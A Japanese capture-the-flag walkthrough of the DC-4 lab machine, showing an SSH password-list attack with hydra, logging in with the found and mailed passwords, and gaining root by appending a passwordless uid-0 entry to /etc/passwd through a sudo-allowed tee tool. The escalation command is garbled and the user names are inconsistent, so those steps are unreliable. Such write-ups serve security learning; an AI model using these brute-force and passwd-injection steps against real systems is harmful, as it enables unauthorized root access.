ここでは、sshサーバーにログインする他にも、DC-3の時のようにリバースシェルをアップロードする方法もある。
ここではsshサーバーにログインしてみる。
sshサーバーのユーザー名が分かってもパスワードがわからないじゃないかとなるかもしれないが、先程old-passwordというパスワードリストを使ってパスワードリスト攻撃をhydraで行う。
old-passwordで表示されたパスワードを攻撃者側のpcにファイルを作って、書き込む
ここでは、dc-4passwordというファイルにold-passwordの内容を書き込んだ。
そして、hydraを使う。
オプション
hydra -l ログインを試みるユーザー名 -p ワードリスト ssh://ipアドレス

┌──(root💀snowyowl)-[~]
└─# hydra -l jim -P dc-4password ssh://192.168.3.22
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-05 14:15:24
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.3.22:22/
[22][ssh] host: 192.168.3.22   login: jim   password: jibril04
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-05 14:15:24

パスワードが見つかったので、早速sshにログインする。

┌──(root💀snowyowl)-[~]
└─# ssh jim@192.168.3.22
jim@192.168.3.22's password: 
Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Sat Sep  4 23:23:16 2021 from 192.168.3.17
jim@dc-4:~$ 

ログインできた。

権限昇格

一般ユーザーでログインできたので、権限昇格を目指す。
mboxを見ても何も手がかりはないし、test.shは煽り文しか出てこない。

jim@dc-4:/var/mail$ cd /tmp/mail
jim@dc-4:/var/mail$ ls
jim
jim@dc-4:/var/mail$ cat jim
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
        (envelope-from <charles@dc-4>)
        id 1hCjIX-0000kO-Qt
        for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is:  ^xHhA&hvim0y

See ya,
Charles

From MAILER-DAEMON Sat Sep 04 23:23:56 2021
Return-path: <>
Envelope-to: jim@dc-4
Delivery-date: Sat, 04 Sep 2021 23:23:56 +1000
Received: from Debian-exim by dc-4 with local (Exim 4.89)
        id 1mMVeG-0000Wb-Fa
        for jim@dc-4; Sat, 04 Sep 2021 23:23:56 +1000
X-Failed-Recipients: dc4@dc-4
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@dc-4>
To: jim@dc-4
Content-Type: multipart/report; report-type=delivery-status; boundary=1630761836-eximdsn-1804289383
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1mMVeG-0000Wb-Fa@dc-4>
Date: Sat, 04 Sep 2021 23:23:56 +1000

--1630761836-eximdsn-1804289383
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  dc4@dc-4
    (generated from root@dc-4)
    Unrouteable address

--1630761836-eximdsn-1804289383
Content-type: message/delivery-status

Reporting-MTA: dns; dc-4

Action: failed
Final-Recipient: rfc822;dc4@dc-4
Status: 5.0.0

--1630761836-eximdsn-1804289383
Content-type: message/rfc822

Return-path: <jim@dc-4>
Received: from jim by dc-4 with local (Exim 4.89)
        (envelope-from <jim@dc-4>)
        id 1mMVeG-0000WZ-AW
        for root@dc-4; Sat, 04 Sep 2021 23:23:56 +1000
To: root@dc-4
Auto-Submitted: auto-generated
Subject: *** SECURITY information for dc-4 ***
From: Jim <jim@dc-4>
Message-Id: <E1mMVeG-0000WZ-AW@dc-4>
Date: Sat, 04 Sep 2021 23:23:56 +1000

dc-4 : Sep  4 23:23:56 : jim : user NOT in sudoers ; TTY=pts/0 ; PWD=/home/jim ; USER=root ; COMMAND=/bin/su -


--1630761836-eximdsn-1804289383--

From MAILER-DAEMON Sun Sep 05 15:30:23 2021
Return-path: <>
Envelope-to: jim@dc-4
Delivery-date: Sun, 05 Sep 2021 15:30:23 +1000
Received: from Debian-exim by dc-4 with local (Exim 4.89)
        id 1mMkjX-0000bm-1A
        for jim@dc-4; Sun, 05 Sep 2021 15:30:23 +1000
X-Failed-Recipients: dc4@dc-4
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@dc-4>
To: jim@dc-4
Content-Type: multipart/report; report-type=delivery-status; boundary=1630819822-eximdsn-1804289383
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1mMkjX-0000bm-1A@dc-4>
Date: Sun, 05 Sep 2021 15:30:23 +1000

--1630819822-eximdsn-1804289383
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  dc4@dc-4
    (generated from root@dc-4)
    Unrouteable address

--1630819822-eximdsn-1804289383
Content-type: message/delivery-status

Reporting-MTA: dns; dc-4

Action: failed
Final-Recipient: rfc822;dc4@dc-4
Status: 5.0.0

--1630819822-eximdsn-1804289383
Content-type: message/rfc822

Return-path: <jim@dc-4>
Received: from jim by dc-4 with local (Exim 4.89)
        (envelope-from <jim@dc-4>)
        id 1mMkjW-0000bk-SG
        for root@dc-4; Sun, 05 Sep 2021 15:30:22 +1000
To: root@dc-4
Auto-Submitted: auto-generated
Subject: *** SECURITY information for dc-4 ***
From: Jim <jim@dc-4>
Message-Id: <E1mMkjW-0000bk-SG@dc-4>
Date: Sun, 05 Sep 2021 15:30:22 +1000

dc-4 : Sep  5 15:30:22 : jim : user NOT in sudoers ; TTY=pts/0 ; PWD=/home/jim ; USER=root ; COMMAND=/bin/su -


--1630819822-eximdsn-1804289383--

charlesのパスワードがわかった。パスワードは、 ^xHhA&hvim0y
jimから、charlesにユーザーを変更する。
sudo -lとは、 sudoを実行するユーザーに許可されているコマンドを一覧表示する。
そこで、hackという新しいユーザーを作り、echoとteeheeを使用してetc / passwdにhackを追加する。

jim@dc-4:/var/mail$ su charles
Password: 
charles@dc-4:/tmp$sudo -l
charles@dc-4:/tmp$ echo "raaj :: 0:0 ::: / bin / bash" | sudo teehee -a / etc / passwd
teehee: /: Is a directory
teehee: /: Is a directory
raaj :: 00 ::: / bin / bash
charles@dc-4:/tmp$ su raaj
root@dc-4:/tmp#

となり、rootになれた。

フラグ取得

root@dc-4:/# cd root
root@dc-4:/root# ls
flag.txt



888       888          888 888      8888888b.                             888 888 888 888 
888   o   888          888 888      888  "Y88b                            888 888 888 888 
888  d8b  888          888 888      888    888                            888 888 888 888 
888 d888b 888  .d88b.  888 888      888    888  .d88b.  88888b.   .d88b.  888 888 888 888 
888d88888b888 d8P  Y8b 888 888      888    888 d88""88b 888 "88b d8P  Y8b 888 888 888 888 
88888P Y88888 88888888 888 888      888    888 888  888 888  888 88888888 Y8P Y8P Y8P Y8P 
8888P   Y8888 Y8b.     888 888      888  .d88P Y88..88P 888  888 Y8b.      "   "   "   "  
888P     Y888  "Y8888  888 888      8888888P"   "Y88P"  888  888  "Y8888  888 888 888 888 


Congratulations!!!

Hope you enjoyed DC-4.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.

参考にさせてもらった記事

ozuma.hatenablog.jp

atmarkit.itmedia.co.jp